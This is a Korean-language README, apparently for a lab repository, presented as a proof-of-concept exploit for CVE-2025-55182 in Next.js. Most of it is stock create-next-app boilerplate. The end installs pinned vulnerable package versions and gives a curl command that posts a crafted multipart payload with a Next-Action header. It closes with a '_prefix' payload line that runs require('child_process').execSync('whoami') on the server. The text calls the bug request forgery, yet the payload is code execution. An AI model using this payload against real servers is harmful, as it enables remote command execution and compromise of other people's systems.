
CVE-2025-55182에 대한 개념 증명 익스플로잇으로, Next.js 서버 측 요청 위조를 대상으로 Next-Action 헤더 조작을 통해 조작된 멀티파트 요청을 사용합니다.
이것은 create-next-app으로 부트스트랩된 Next.js 프로젝트입니다.
먼저, 개발 서버를 실행하세요:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
http://localhost:3000을 브라우저로 열어 결과를 확인하세요.
페이지를 수정하려면 app/page.tsx를 편집하세요. 파일을 편집하면 페이지가 자동으로 업데이트됩니다.
이 프로젝트는 Vercel의 새로운 폰트 패밀리인 Geist를 자동으로 최적화하고 로드하기 위해 next/font를 사용합니다.
Next.js에 대해 더 알아보려면 다음 자료를 참조하세요:
Next.js GitHub 저장소를 확인해보세요 - 피드백과 기여를 환영합니다!
Next.js 앱을 배포하는 가장 쉬운 방법은 Next.js 제작자가 만든 Vercel 플랫폼을 사용하는 것입니다.
자세한 내용은 Next.js 배포 문서를 확인하세요.
npx create-next-app@latest react-vuln-lab
npm install [email protected] [email protected] [email protected] --legacy-peer-deps
curl -v http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=boundary" \
-H "Next-Action: <YOUR_ACTION_ID_HERE>" \
--data-binary @payload.txt
- "_prefix": "require('child_process').execSync('whoami').toString()"